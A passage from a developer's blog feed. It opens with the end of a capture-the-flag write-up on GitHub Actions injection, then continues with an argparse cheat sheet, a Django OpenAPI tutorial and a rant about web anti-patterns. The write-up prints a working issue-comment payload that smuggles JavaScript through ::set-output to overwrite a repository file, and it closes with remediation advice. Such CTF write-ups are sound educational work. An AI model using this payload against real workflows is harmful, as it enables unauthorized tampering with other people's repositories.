    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;committer.name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Erry Kostala&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;committer.email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YOUR_EMAIL&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;author.name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Erry Kostala&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;author.email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;YOUR_EMAIL&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sha&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sha&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I just needed to make it fit in the &lt;code&gt;set-output&lt;/code&gt; line so I could make it an issue comment.&lt;br&gt;
This was the final issue comment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;::set-output name=COMMENT_ID::1;(async()=&amp;gt;{const e=await github.repos.getContent({owner:"incrediblysecureinc",path:"README.md",repo:"incredibly-secure-errietta",ref:"refs/heads/main"});await github.repos.createOrUpdateFileContents({owner:"incrediblysecureinc",repo:"incredibly-secure-errietta",path:"README.md",message:"editing",content:"SSBkaWQgaXQ=",branch:"main","committer.name":"Erry Kostala","committer.email":"email","author.name":"Erry Kostala","author.email":"email",sha:e.data.sha})})();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this well-crafted comment, I watched the github action run&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr5o48ylmcfp0inagiue6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr5o48ylmcfp0inagiue6.png" alt="Github action running" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And.. success! I exploited a vulnerability to arbitrarily change the contents of a file in the repo, all by just commenting on an issue!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffxxs9aaycvmeew0uvx8w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffxxs9aaycvmeew0uvx8w.png" alt="The edited file" width="800" height="236"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;I think this CTF illustrates how important it is to be extremely careful with user input. Never trust arbitrary input in your scripts, use methods to escape it and think twice as to whether it’s actually necessary to use that input in your code. The github actions untrusted input article also has some &lt;a href="https://securitylab.github.com/research/github-actions-untrusted-input/#remediation" rel="noopener noreferrer"&gt;remediation suggestions&lt;/a&gt; to prevent this from happening.&lt;/p&gt;

</description>
      <category>githubactions</category>
      <category>ctf</category>
      <category>security</category>
    </item>
    <item>
      <title>Python argparse cheat sheet</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Wed, 10 Jun 2020 13:53:27 +0000</pubDate>
      <link>https://dev.to/errietta/python-argparse-cheat-sheet-43c3</link>
      <guid>https://dev.to/errietta/python-argparse-cheat-sheet-43c3</guid>
      <description>&lt;p&gt;I have a confession to make: I never remember how to use argparse. Maybe it’s because I don’t use it often enough to have how it works memorized, but I certainly use it often enough that I’m annoyed every time I have to look it up. Argparse? More like &lt;strong&gt;ARGH&lt;/strong&gt;parse. Either way, I thought I would make a handy cheat sheet that can be quickly looked up rather than reading the documentation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read a single argument&lt;/strong&gt; &lt;strong&gt;with a value&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parser.add_argument('--id', type=int, nargs=1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read a single argument with a defau&lt;/strong&gt;lt&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parser.add_argument('--id', type=int, nargs='?', default=0)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read a flag (boolean) argument&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parser.add_argument('--delete', nargs='?', const=True, default=False)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read multiple arguments&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parser.add_argument('--ids', type=int, nargs='+')&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Required arguments&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;parser.add_argument('--id', type=int, nargs=1, required=True)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;That should cover the common use cases, hope this has been helpful for someone other than me!&lt;/p&gt;

</description>
      <category>python</category>
      <category>argparse</category>
      <category>cheatsheet</category>
    </item>
    <item>
      <title>Documenting a Django API with OpenAPI and Dataclasses</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Thu, 30 Apr 2020 19:21:11 +0000</pubDate>
      <link>https://dev.to/errietta/documenting-a-django-api-with-openapi-and-dataclasses-1p6h</link>
      <guid>https://dev.to/errietta/documenting-a-django-api-with-openapi-and-dataclasses-1p6h</guid>
      <description>&lt;p&gt;Django makes it easy to quickly spin up APIs and provides a great admin interface and command line management tools. It certainly speeds up the development of any CRUD system.&lt;/p&gt;
&lt;p&gt;However, as your project grows, you will want to make sure your code is well-documented, both for your backend developers and front-end clients that consume your API.&lt;/p&gt;
&lt;p&gt;In this blog post I will outline how to use Python 3.7 dataclasses to write type-annotated and documented code and OpenAPI (Swagger) to automatically document your API.&lt;/p&gt;
&lt;h2&gt;About dataclasses&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;dataclass&lt;/code&gt; decorator, added in Python 3.7 provides some advantages when used in classes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;creates classes that provide automatic &lt;code&gt;__init__()&lt;/code&gt; and &lt;code&gt;__repr()__&lt;/code&gt; methods&lt;/li&gt;
&lt;li&gt;allows you to specify class attributes and their types using type annotation syntax&lt;/li&gt;
&lt;li&gt;attributes and their types are discoverable programmatically, allowing other modules to use them as more than just syntactic syntax, for example for validation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In this blog post I will be showing how dataclasses can be used for django rest framework serializers using &lt;a href="https://pypi.org/project/djangorestframework-dataclasses/" rel="noopener noreferrer"&gt;djangorestframework-dataclasses&lt;/a&gt;. This allows you to define classes to use in your application and also have them serialized for Django input and output.&lt;/p&gt;
&lt;h2&gt;About OpenAPI&lt;/h2&gt;
&lt;p&gt;OpenApi (or Swagger) allows you to document your API using JSON. It also provides a front-end where people consuming your API can see the API documentation and try calls on the fly.&lt;/p&gt;
&lt;h2&gt;Installing OpenAPI support for DRF&lt;/h2&gt;
&lt;p&gt;For the OpenAPI renderer, &lt;code&gt;pyyaml&lt;/code&gt; and &lt;code&gt;uritemplate&lt;/code&gt; are required for generating the API yaml documentation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install pyyaml uritemplate&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the dependencies are installed, you can automatically generate your swagger documentation by including two routes.&lt;/p&gt;
&lt;p&gt;Firstly, to generate the yaml that will be used by openapi, call &lt;code&gt;get_schema_view&lt;/code&gt; to get the DRF view for use in your &lt;code&gt;urls.py&lt;/code&gt;:&lt;/p&gt;

&lt;pre&gt;
from rest_framework.schemas import get_schema_view

urlpatterns += [ 
   url(r'^openapi-schema', get_schema_view(
        title="Tutorial app",  # Title of your app
        description="tutorial app",  # Description of your app
        version="1.0.0",
        public=True,
    ), name='openapi-schema'), 
]&lt;/pre&gt;

&lt;p&gt;This will expose the schema yaml in the /open-api route. The schema will be automatically updated from your routes and serializers, and list all the URLs and their inputs and outputs.&lt;/p&gt;

&lt;p&gt;Use the following request to check it out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -HContent-Type:application/json http://localhost:8000/openapi-schema/ # mind the content-type
# Response:
openapi: 3.0.2
info:
  title: Tutorial app
  version: 1.0.0
  description: tutorial app
paths:
  /hello/hello/:
    get:
      operationId: helloPerson
      description: ''
      parameters: []
      responses:
        '200':
          content:
            application/json:
              schema:
                properties:
                  name:
                    type: string
                  age:
                    type: integer
                required:
                - name
                - age
          description: ''
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the schema is generated, you can add Swagger UI to your API.&lt;/p&gt;

&lt;p&gt;In order to do that, you can set up a static HTML page and load the scripts from a CDN, then render it as a template.&lt;/p&gt;

&lt;p&gt;The HTML page, copied from the &lt;a href="https://www.django-rest-framework.org/topics/documenting-your-api/" rel="noopener noreferrer"&gt;DRF documentation&lt;/a&gt;, is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;Swagger&amp;lt;/title&amp;gt;
    &amp;lt;meta charset="utf-8"/&amp;gt;
    &amp;lt;meta name="viewport" content="width=device-width, initial-scale=1"&amp;gt;
    &amp;lt;link rel="stylesheet" type="text/css" href="//unpkg.com/swagger-ui-dist@3/swagger-ui.css" /&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div id="swagger-ui"&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;script src="//unpkg.com/swagger-ui-dist@3/swagger-ui-bundle.js"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script&amp;gt;
    const ui = SwaggerUIBundle({
        url: "{% url schema_url %}",
        dom_id: '#swagger-ui',
        presets: [
          SwaggerUIBundle.presets.apis,
          SwaggerUIBundle.SwaggerUIStandalonePreset
        ],
        layout: "BaseLayout"
      })
    &amp;lt;/script&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SwaggerUIBundle&lt;/code&gt; will automatically generate your UI, you don’t need to do anything else. The only interesting value here is schema_url, which should point to your schema URL defined above.&lt;/p&gt;

&lt;p&gt;You can then load this template by adding the following to your urlpatterns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;url(r'docs/', TemplateView.as_view(
    template_name='swagger-ui.html',
    extra_context={'schema_url': 'openapi-schema'}
), name='swagger-ui'),
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Load the &lt;code&gt;/docs/&lt;/code&gt; route in your browser. If everything has been configured correctly, you should see the Swagger UI.&lt;/p&gt;

&lt;p&gt;The Swagger UI allows you to see all of your API’s routes and parameters required, and even try API calls on the fly!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F353iyt0d82dbyjsez9bc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F353iyt0d82dbyjsez9bc.png" alt="Alt Text" width="800" height="446"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Installing the Dataclass serializer for DRF
&lt;/h2&gt;

&lt;p&gt;As mentioned earlier, dataclass serializer allow you to convert python dataclasses to JSON and vice-versa, offering validation on user data.&lt;/p&gt;

&lt;p&gt;Consider the following dataclass:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@dataclass
class Person():
  name: str
  age: int
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your users can submit JSON data with the name and age properties, and &lt;code&gt;djangorestframework-dataclass&lt;/code&gt; will validate the data and deserialize into a &lt;code&gt;Person&lt;/code&gt; object that you can directly use in your domain methods.&lt;/p&gt;

&lt;p&gt;To install the module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install djangorestframework-dataclasses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After installation, all you have to do to write your serializer is to inherit from &lt;code&gt;DataclassSerializer&lt;/code&gt; and set the &lt;code&gt;dataclass&lt;/code&gt; meta property.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class PersonSerializer(DataclassSerializer):
    class Meta:
        dataclass = Person
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can now use &lt;code&gt;PersonSerializer&lt;/code&gt; in your API as normal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from django.http import JsonResponse
from rest_framework.decorators import action
from rest_framework.viewsets import GenericViewSet

from tutorial.serializers import Person, PersonSerializer


class PersonViewSet(GenericViewSet):
    serializer_class = PersonSerializer

    @action(detail=False, methods=['post'])
    def get_age(self, request):
        person_serializer = PersonSerializer(data=request.data)

        if (not person_serializer.is_valid()):
            return JsonResponse(person_serializer.errors)

        person: Person = person_serializer.validated_data # will return a Person object

        return JsonResponse({'age': person.age})
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;person_serializer.validated_data&lt;/code&gt; will return an object of the &lt;code&gt;Person&lt;/code&gt; class. This allows you to use your dataclasses as you want throughout your application.&lt;/p&gt;

&lt;p&gt;What is more, the swagger documentation we implemented earlier allows you to see the input and output format for your person objects, provided by your serializers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3d55comlncvkm9ev9f2y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F3d55comlncvkm9ev9f2y.png" alt="Alt Text" width="800" height="416"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click “try it out” to submit a person object with any values:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgnfg44bp3xccw1sb78yl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Fgnfg44bp3xccw1sb78yl.png" alt="Alt Text" width="800" height="603"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once data is submitted, you can see the server response, allowing you to easily test and debug your API.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ff65tda9dvcsh3u4s0g34.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2Ff65tda9dvcsh3u4s0g34.png" alt="Alt Text" width="800" height="178"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In conclusion, Swagger UI is a powerful documentation tool that can automatically generate documentation for any Django-Rest-Framework API. You can use it with any type of DRF serializer (such as ModelSerializer), but if you are wanting to use dataclasses and types for documentation, dataclass-serializer gives you an extra advantage: your code is documented not only for your frontend consumers but also for your backend developers&lt;/p&gt;

</description>
      <category>python</category>
      <category>django</category>
      <category>dataclasses</category>
      <category>openapi</category>
    </item>
    <item>
      <title>13 ways the Internet is broken - #9 will shock you!</title>
      <dc:creator>Erry Kostala</dc:creator>
      <pubDate>Sat, 21 Dec 2019 12:27:56 +0000</pubDate>
      <link>https://dev.to/errietta/13-ways-the-internet-is-broken-9-will-shock-you-3imd</link>
      <guid>https://dev.to/errietta/13-ways-the-internet-is-broken-9-will-shock-you-3imd</guid>
      <description>&lt;p&gt;The web has been changing the past few years, not necessarily always for the better. There has been an emergence of anti-patterns, which are patterns that stand to try to make a profit without caring about the user experience, or often by hindering it.&lt;/p&gt;
&lt;p&gt;These patterns are problematic, not only because they frustrate users, but also because by worsening user experience, one cannot expect people to keep using the website. I have seen so many things that have made me close a website and never come back, and I don't understand how this can be a profitable business model for any business. Yet people keep doing it, so it must be increasing their profits somehow.&lt;/p&gt;
&lt;p&gt;I hope to look into some of these patterns in this post, and explain why I don't like them.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Notice&lt;/em&gt;: The following sections will contain screenshots of websites, mostly news websites as they are high-volume, popular websites and often exhibit one or more of the anti-patterns. While we may all have our own opinions on some of the articles displayed, that is not the point of this blog post. Therefore, I will not be approving any comments about the articles. If you want to know where I stand on those issues, hit me up at &lt;a class="mentioned-user" href="https://dev.to/errietta"&gt;@errietta&lt;/a&gt; on twitter.&lt;/p&gt;
&lt;h2&gt;1 - Ads or videos taking up half the screen height on mobile.&lt;/h2&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2FScreenshot_20191219-193817-512x1024.png" alt="A screenshot from the independent website on mobile. An article is displayed. There are two paragraphs of text at the bottom, above which there is a Twitter widget relevant to the article , and above that there is an advertisement taking up almost half the screen."&gt;&lt;p&gt;Seriously. I'm trying to read the article here. If I wanted to watch a video, I would be on youtube!&lt;/p&gt;
&lt;h2&gt;2 - Ads that load late and make content "jump"&lt;/h2&gt;
&lt;p&gt;It was difficult to take a screenshot here, but what I mean is that some websites don't load ads in correctly-sized containers (or containers at all). This means that when the ads load, it'll push the content down, as there is now a larger element taking up space above the text.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2FUntitled-drawing-1-1.png" alt="An illustration showing two pages. On the first page, you can see 4 paragraphs of text, an image, then another paragraph of text and a comments box.&amp;lt;br&amp;gt;
On the second page, the ad has loaded above the image, pushing the comment box below the fold."&gt;Before and after advertisements load: The ads push the comments box below the fold.&lt;h2&gt;3 - Recaptcha&lt;/h2&gt;
&lt;p&gt;Now, I know that recaptcha is very useful in telling bots apart from real users. And most of the time, if you've solved the puzzle before, you can just tick a box. The issue comes if, for whatever reason (such as private browsing), you have to do the challenge again. To be fair, these challenges are usually easy, but sometimes you will be unlucky and make a mistake, such as not seeing something in a tiny part of the image, or because the image is low quality, then have to start over. So frustrating.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage.png" alt="A recaptcha prompt asking the user to select all images with cars.&amp;lt;br&amp;gt;
"&gt;Surely, Google isn't using recaptcha to train a self-driving car...&lt;h2&gt; 4 - Autoplaying videos&lt;/h2&gt;
&lt;p&gt;Bonus points if the video has sound.&lt;/p&gt;
&lt;p&gt;Picture this: You're on the early morning train, scrolling through your facebook feed, then some ad blasts music and annoys all the other commuters. Why.&lt;/p&gt;
&lt;p&gt;Yes, you can turn it off in some apps. But it's still on by default. Plus some websites will not have an option to turn it off themselves, requiring you to mess with your browser.&lt;/p&gt;
&lt;h2&gt;5 - Websites asking to deliver push notifications&lt;/h2&gt;
&lt;p&gt;Unless you're my email or Slack app, I do not want your notifications. STOP asking me! What is worse, on mobile, this prompt will block the rest of the content until you block or allow.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2FScreenshot_20191219-194647-512x1024.png" alt="A screenshot of a website, with a prompt asking to allow or block notifications in front of the content."&gt;"Absolutely not. Now let me read up on the latest horrible news!"&lt;h2&gt;6 - Sites that ask for your location&lt;/h2&gt;
&lt;p&gt;I understand that it's convenient in a lot of cases, in which case, I don't really mind. But it would be better if they asked when you did something location-specific, not right away.&lt;/p&gt;
&lt;p&gt;It seems that every single website nowadays wants the right to spy on your every move.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage-2.png" alt='A popup saying "www.google.com wants to know your location"'&gt;Google knows everything about me as well as where I am at all times. Hooray.&lt;h2&gt;7 - "Subscribe to our newsletter!"&lt;/h2&gt;
&lt;p&gt;Don't you hate it when every website in existence seems to ask for you to subscribe to their newsletter? I very rarely take them up on their offer. It's good to be reminded about new blog posts in Interesting websites (although, no, this site does not have a newsletter), but other than that, I don't need that junk mail.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage-1.png" alt="A prompt to sign up to a newsletter."&gt;No, go away! I'm trying to give you money!&lt;h2&gt;8 - Blocking ad blockers&lt;/h2&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage-3.png" alt="A page blocking the content because I was using an ad blocker."&gt;&lt;em&gt;sigh&lt;/em&gt; Alright, I'll whitelist it.&lt;p&gt;I understand websites need ads to make money, but the reason why I chose to use an ad blocker is that many websites have so many ads with moving pictures or videos that it's a) incredibly distracting and b) really makes my PC struggle.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage-4-1024x215.png" alt="An ad taking up a big part of the website footer, which also has a video on top of it."&gt;&lt;em&gt;argh&lt;/em&gt;&lt;p&gt;I have my ad blocker set to allow acceptable ads anyway. By "acceptable" they mean not ads that get in the way of UX. It is possible to have the ads not be a terrible use of RAM!&lt;/p&gt;
&lt;h2&gt;9 - Clickbait&lt;/h2&gt;
&lt;p&gt;But first, a short word from our sponsor-- haha, just kidding! So, what's the issue with writing catchy headlines to get views? Well, buzzfeed-like headlines such as "X ways Y happens! #2 will shock you" can be harmless for the most part.&lt;/p&gt;
&lt;p&gt;But sometimes, clickbait is used to attract attention to false information. People will sometimes read the title without reading the article (hey I'm guilty of it myself!). If  your headline is making things look way more serious than they actually are, then that helps the spread of fake news. Plus, many of those clickbaity articles are basically ads disguised as articles anyway.&lt;/p&gt;
&lt;p&gt;Why did I use a clickbait title for this post? Parody, obviously.&lt;/p&gt;
&lt;h2&gt;10 - Bad privacy prompts&lt;/h2&gt;
&lt;p&gt;Since the European laws about Cookies and GDPR came into effect, privacy prompts have been getting more and more intrusive. We get it, you want to track us, and you &lt;strong&gt;have&lt;/strong&gt; to get our consent early in the journey, so the best thing seems to be to show a popup (it's not).&lt;/p&gt;
&lt;p&gt;Not all of those prompts are terrible, but sometimes opting out is more difficult than it should be, either because you have to manually opt out, or because it's extremely slow. Why is this such a broken journey? Do you hate your users? Or are you just hoping they passively click "ok" at everything, because I sure just click OK.&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2FCapture2.png" alt="A screen with various toggles to allow or disallow cookies. Some cookies require opt out&amp;lt;br&amp;gt;
"&gt;What do you mean "requires opt-out"? Why are there that many third-party vendors setting cookies on your site? WHAT IS GOING ON&lt;h2&gt;11 - Blocking EU visits because you cannot deal with GDPR&lt;/h2&gt;
&lt;p&gt;This is a pretty bad new strategy by some websites based outside Europe: Instead of trying to follow GDPR, they just ignore it, and in order to not get sued, just refuse to serve any EU IP addresses. I guess losing part of your user base is better than getting a GDPR lawsuit, but it would be even better to try to comply!&lt;/p&gt;
&lt;p&gt;On a related note, what are they doing with our personal data that's against the GDPR? Do I even want to know?&lt;/p&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage-5-1024x726.png" alt=""&gt;This website example was provided by Sigute Kateivaite, who just wanted to buy some darn clothes.&lt;h2&gt;12 - Expiring sessions too early&lt;/h2&gt;
&lt;p&gt;Unless you're a bank, or a similar kind of business that holds very private information about your users, your sessions can be longer than 30 minutes long.&lt;/p&gt;
&lt;p&gt;I will never forget the time I lost a whole job application due to being kicked out of the site when trying to submit. ARGH, THE PAIN.&lt;/p&gt;
&lt;h2&gt;13 - Doing everything at once&lt;/h2&gt;
&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.errietta.me%2Fblog%2Fwp-content%2Fuploads%2F2019%2F12%2Fimage-6-1024x581.png" alt="A site with notification prompt, newsletter prompt, privacy prompt."&gt;WHAT IS THIS I LITERALLY JUST WANT TO READ THE **** ARTICLE&lt;p&gt;Do I even need to expand on this one? No? Good. Alright, happy new year, mortals.&lt;/p&gt;

&lt;p&gt;I'd like to thank the people in my slack groups who gave me inspiration. If you didn't see your suggestion here, it's because I had &lt;strong&gt;way, way&lt;/strong&gt; more suggestions than I expected. I thought I'd struggle to fill this list, but it was very easy. For the avoidance of doubt, that's &lt;strong&gt;not &lt;/strong&gt;a good thing, since it proves how broken the Web has got.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>antipatterns</category>
      <category>ads</category>
    </item>
    <item>
      <title>Making Jenkins Behave 2: Electric Boogaloo</title>
      <dc:creator>Erry Kostala</dc:creator>
